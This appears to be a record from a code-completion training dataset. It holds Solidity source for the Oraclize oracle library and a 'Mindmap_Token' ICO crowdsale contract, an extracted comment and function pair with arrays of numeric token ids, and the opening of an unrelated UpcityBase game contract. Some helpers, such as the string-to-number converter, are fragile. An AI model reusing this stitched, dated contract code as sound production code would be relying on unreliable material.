dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> // File: Mindmap.sol //For production, change all days to days //Change and check days and discounts contract Mindmap_Token is Ownable, usingOraclize { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public PrivateSaleStartTime; uint256 public PrivateSaleEndTime; uint256 public PrivateSaleCents = 20; uint256 public PrivateSaleDays = 28; uint256 public PreICOStartTime; uint256 public PreICOEndTime; uint256 public PreICODayOneCents = 25; uint256 public PreICOCents = 30; uint256 public PreICODays = 31; uint256 public PreICOEarlyDays = 1; uint256 public ICOStartTime; uint256 public ICOEndTime; uint256 public ICOCents = 40; uint256 public ICODays = 60; uint256 public DefaultCents = 50; uint256 public FirstEtherLimit = 5; uint256 public FirstBonus = 120; uint256 public SecondEtherLimit = 10; uint256 public SecondBonus = 125; uint256 public ThirdEtherLimit = 15; uint256 public ThirdBonus = 135; uint256 public hardCap = 140000000; uint256 public purchased = 0; uint256 public gifted = 0; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event newOraclizeQuery(string description); function Mindmap_Token(uint256 _rate, address _wallet) public { require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); rate = _rate; wallet = _wallet; } function startPrivateSale() onlyOwner public { PrivateSaleStartTime = now; PrivateSaleEndTime = PrivateSaleStartTime + PrivateSaleDays * 1 days; } function stopPrivateSale() onlyOwner public { PrivateSaleEndTime = now; } function startPreICO() onlyOwner public { PreICOStartTime = now; PreICOEndTime = PreICOStartTime + PreICODays * 1 days; } function stopPreICO() onlyOwner public { PreICOEndTime = now; } function startICO() onlyOwner public { ICOStartTime = now; ICOEndTime = ICOStartTime + ICODays * 1 days; } function stopICO() onlyOwner public { ICOEndTime = now; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable public { buyTokens(msg.sender); } //return token price in cents function getUSDPrice() public constant returns (uint256 cents_by_token) { if (PrivateSaleStartTime > 0 && PrivateSaleStartTime <= now && now < PrivateSaleEndTime ) { return PrivateSaleCents; } else if (PreICOStartTime > 0 && PreICOStartTime <= now && now < PreICOEndTime) { if (now < PreICOStartTime + PreICOEarlyDays * 1 days) return PreICODayOneCents; else return PreICOCents; } else if (ICOStartTime > 0 && ICOStartTime <= now && now < ICOEndTime) { return ICOCents; } else { return DefaultCents; } } function calcBonus(uint256 tokens, uint256 ethers) public constant returns (uint256 tokens_with_bonus) { if (ethers >= ThirdEtherLimit) return tokens.mul(ThirdBonus).div(100); else if (ethers >= SecondEtherLimit) return tokens.mul(SecondBonus).div(100); else if (ethers >= FirstEtherLimit) return tokens.mul(FirstBonus).div(100); else return tokens; } // string 123.45 to 12345 converter function stringFloatToUnsigned(string _s) payable returns (string) { bytes memory _new_s = new bytes(bytes(_s).length - 1); uint k = 0; for (uint i = 0; i < bytes(_s).length; i++) { if (bytes(_s)[i] == '.') { break; } // 1 _new_s[k] = bytes(_s)[i]; k++; } return string(_new_s); } // callback for oraclize function __callback(bytes32 myid, string result) { require(msg.sender == oraclize_cbAddress()); string memory converted = stringFloatToUnsigned(result); rate = parseInt(converted); rate = SafeMath.div(1000000000000000000, rate); // price for 1 `usd` in `wei` } // price updater function updatePrice() payable { oraclize_setProof(proofType_NONE); if (oraclize_getPrice("URL") > this.balance) { newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee"); } else { newOraclizeQuery("Oraclize query was sent, standing by for the answer.."); oraclize_query("URL", "json(https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD).USD"); } } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); require(msg.value >= 50000000000000000); // minimum contrib amount 0.05 ETH updatePrice(); uint256 _convert_rate = SafeMath.div(SafeMath.mul(rate, getUSDPrice()), 100); // calculate token amount to be created uint256 weiAmount = SafeMath.mul(msg.value, 10**uint256(token.decimals())); uint256 tokens = SafeMath.div(weiAmount, _convert_rate); tokens = calcBonus(tokens, msg.value.div(10**uint256(token.decimals()))); require(validTokenAmount(tokens)); // update state purchased = SafeMath.add(purchased, tokens); weiRaised = SafeMath.add(weiRaised, msg.value); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, msg.value, tokens); forwardFunds(); } //to set ico sale values if needed function setSaleLength(uint256 private_in_days, uint256 preico_early_days, uint256 preico_in_days, uint256 ico_in_days) onlyOwner public { PrivateSaleDays = private_in_days; PreICOEarlyDays = preico_early_days; PreICODays = preico_in_days; ICODays = ico_in_days; if(PrivateSaleEndTime != 0) PrivateSaleEndTime = PrivateSaleStartTime + PrivateSaleDays * 1 days; if(PreICOEndTime != 0) PreICOEndTime = PreICOStartTime + PreICODays * 1 days; if(ICOEndTime != 0) ICOEndTime = ICOStartTime + ICODays * 1 days; } function setDiscount(uint256 private_in_cents, uint256 preicodayone_in_cents, uint256 preico_in_cents, uint256 ico_in_cents, uint256 default_in_cents) onlyOwner public { //values in USD cents PrivateSaleCents = private_in_cents; PreICODayOneCents = preicodayone_in_cents; PreICOCents = preico_in_cents; ICOCents = ico_in_cents; DefaultCents = default_in_cents; } function setBonus(uint256 first_ether_limit, uint256 first_bonus, uint256 second_ether_limit, uint256 second_bonus, uint256 third_ether_limit, uint256 third_bonus) onlyOwner public { //values in Ether and X%+100 FirstEtherLimit = first_ether_limit; FirstBonus = first_bonus; SecondEtherLimit = second_ether_limit; SecondBonus = second_bonus; ThirdEtherLimit = third_ether_limit; ThirdBonus = third_bonus; } // Upgrade token functions function freezeToken() onlyOwner public { token.pause(); } function unfreezeToken() onlyOwner public { token.unpause(); } //to send tokens for bitcoin bakers and bounty function sendTokens(address _to, uint256 _amount) onlyOwner public { require(token.totalSupply() + SafeMath.mul(_amount, 10**uint256(token.decimals())) <= SafeMath.mul(hardCap, 10**uint256(token.decimals()))); gifted = SafeMath.add(gifted, SafeMath.mul(_amount, 10**uint256(token.decimals()))); token.mint(_to, SafeMath.mul(_amount, 10**uint256(token.decimals()))); } //change owner for child contract function transferTokenOwnership(address _newOwner) onlyOwner public { token.transferOwnership(_newOwner); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(this.balance); } function validTokenAmount(uint256 tokenAmount) internal constant returns (bool) { require(tokenAmount > 0); bool tokenAmountOk = token.totalSupply() - gifted + tokenAmount <= ( SafeMath.mul(SafeMath.div(SafeMath.mul(hardCap,70), 100), 10**uint256(token.decimals()))); return tokenAmountOk; } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool hardCapOk = token.totalSupply() - gifted <= ( SafeMath.mul(SafeMath.div(SafeMath.mul(hardCap,70), 100), 10**uint256(token.decimals()))); bool withinPrivateSalePeriod = now >= PrivateSaleStartTime && now <= PrivateSaleEndTime; bool withinPreICOPeriod = now >= PreICOStartTime && now <= PreICOEndTime; bool withinICOPeriod = now >= ICOStartTime && now <= ICOEndTime; bool nonZeroPurchase = msg.value != 0; return hardCapOk && (withinPreICOPeriod || withinICOPeriod || withinPrivateSalePeriod) && nonZeroPurchase; } }
to send tokens for bitcoin bakers and bounty
function sendTokens(address _to, uint256 _amount) onlyOwner public { require(token.totalSupply() + SafeMath.mul(_amount, 10**uint256(token.decimals())) <= SafeMath.mul(hardCap, 10**uint256(token.decimals()))); gifted = SafeMath.add(gifted, SafeMath.mul(_amount, 10**uint256(token.decimals()))); token.mint(_to, SafeMath.mul(_amount, 10**uint256(token.decimals()))); }
14,960,122
[ 1, 869, 1366, 2430, 364, 25851, 324, 581, 414, 471, 324, 592, 93, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1366, 5157, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1338, 5541, 1071, 288, 203, 3639, 2583, 12, 2316, 18, 4963, 3088, 1283, 1435, 397, 14060, 10477, 18, 16411, 24899, 8949, 16, 1728, 636, 11890, 5034, 12, 2316, 18, 31734, 1435, 3719, 1648, 14060, 10477, 18, 16411, 12, 20379, 4664, 16, 1728, 636, 11890, 5034, 12, 2316, 18, 31734, 1435, 3719, 1769, 203, 3639, 314, 2136, 329, 273, 225, 14060, 10477, 18, 1289, 12, 75, 2136, 329, 16, 14060, 10477, 18, 16411, 24899, 8949, 16, 1728, 636, 11890, 5034, 12, 2316, 18, 31734, 1435, 3719, 1769, 203, 3639, 1147, 18, 81, 474, 24899, 869, 16, 14060, 10477, 18, 16411, 24899, 8949, 16, 1728, 636, 11890, 5034, 12, 2316, 18, 31734, 1435, 3719, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5; import './Macros.sol'; // #def SEASON_DURATION \ // uint64((365.25 * ONE_DAY) / NUM_SEASONS / SEASON_FREQUENCY) // #def NEIGHBOR_OFFSET(idx) (((int32(idx)%3)-1), (1-int32(idx)/2)) // #def MAX_BLOCK_VALUE NUM_RESOURCES-1 // #if TEST // #def BLOCKTIME __blockTime // #else // #def BLOCKTIME uint64(block.timestamp) // #endif /// @title Constants, types, and helpers for UpCityGame /// @author Lawrence Forman ([email protected]) contract UpcityBase { // Tile data. struct Tile { // Deterministic ID of the tile. Will be 0x0 if tile does not exist. bytes10 id; // Right-aligned, packed representation of blocks, // where 0x..FF is empty. bytes16 blocks; // The height of the tower on the tile (length of blocks). uint8 height; // NUM_NEIGHBORS + the height of each neighbor's tower. uint8 neighborCloutsTotal; // How many times the tile has been bought. Always >= 1. uint32 timesBought; // When the tile was last collected. uint64 lastTouchTime; // The x coordinate of the tile. int32 x; // The y coordinate of the tile. int32 y; // The name of the tile. bytes16 name; // The price multiplier for a tile, which compounds by PURCHASE_MARKUP // every time a tile is bought. In PPM. uint64 priceMultiplier; // The aggregated shared resources from neighbor tiles after // they do a collect(). uint256[NUM_RESOURCES] sharedResources; // The aggregated build costs for the tower on this tile. uint256[NUM_RESOURCES] buildCosts; // The aggregated shared ether from neighbor tiles. after they // do a collect(). uint256 sharedFunds; // The aggregate scores for each resource on this tile. uint64[NUM_RESOURCES] scores; // The current owner of the tile. address owner; } // Global metrics, for a specific resource; struct BlockStats { // The total number of blocks of this resource, across all tiles. uint64 count; // The global production daily limit for this resource, expressed in PPM. // Note that this is a "soft" limit, as tiles in season produce bonus // resources defined by SEASON_YIELD_BONUS. uint64 production; // The total "score" of blocks of this resource, across all tiles. // Score for a block depends on its height. uint128 score; } // solhint-disable // Zero address (0x0). address internal constant ZERO_ADDRESS = address(0x0); // 100%, or 1.0, in parts per million. uint64 internal constant PPM_ONE = $$(uint64(PPM_ONE)); // The number of wei in one token (10**18). uint256 internal constant ONE_TOKEN = $$(ONE_TOKEN); // The number of seconds in one day. uint64 internal constant ONE_DAY = $$(ONE_DAY); // The number of resource types. uint8 internal constant NUM_RESOURCES = $$(NUM_RESOURCES); // 